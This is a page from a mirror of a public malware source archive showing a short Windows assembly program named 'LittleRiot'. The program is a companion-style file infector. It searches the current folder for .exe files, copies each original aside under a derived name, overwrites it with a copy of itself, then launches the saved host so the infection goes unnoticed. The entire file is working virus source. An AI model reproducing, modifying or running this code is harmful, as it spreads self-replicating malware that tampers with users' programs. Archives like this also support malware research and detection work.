mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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54 lines
1.4 KiB
NASM
54 lines
1.4 KiB
NASM
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include "%fasminc%\win32ax.inc"
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LittleRiot: invoke GetCommandLine
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mov ebx, eax
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inc ebx
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xor ecx, ecx
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GetEndCmd: cmp byte [ebx], '"'
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je HaveEndCmd
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inc ebx
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inc ecx
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jmp GetEndCmd
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HaveEndCmd: mov byte [ebx], 0
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sub ebx,ecx
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push ebx
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invoke FindFirstFile, ExeFiles, Win32FindData
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mov dword [FindHandle], eax
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FindMore: cmp eax, 0
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je ExecuteHost
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mov ebx, Win32FindData.cFileName
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call GetHostName
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invoke CopyFile, Win32FindData.cFileName, HostName, 1
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cmp eax, 0
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je FindNextVictim
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pop ebx
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invoke CopyFile, ebx, Win32FindData.cFileName, 0
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push ebx
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FindNextVictim: invoke FindNextFile, dword [FindHandle], Win32FindData
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jmp FindMore
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ExecuteHost: pop ebx
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call GetHostName
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invoke WinExec, HostName, SW_SHOWNORMAL
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ret
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GetHostName : cmp byte [ebx], 0
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je RenameHostName
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inc ebx
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jmp GetHostName
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RenameHostName: sub ebx, 8
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mov esi, ebx
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mov edi, HostName
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mov ecx, 5
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rep movsb
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ret
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data import
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library kernel32, "KERNEL32.DLL"
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import kernel32,\
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GetCommandLine, "GetCommandLineA",\
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FindFirstFile, "FindFirstFileA",\
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FindNextFile, "FindNextFileA",\
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CopyFile, "CopyFileA",\
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WinExec, "WinExec"
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end data
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ExeFiles db "*.exe",0
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FindHandle dd ?
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Win32FindData FINDDATA
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HostName rb 6
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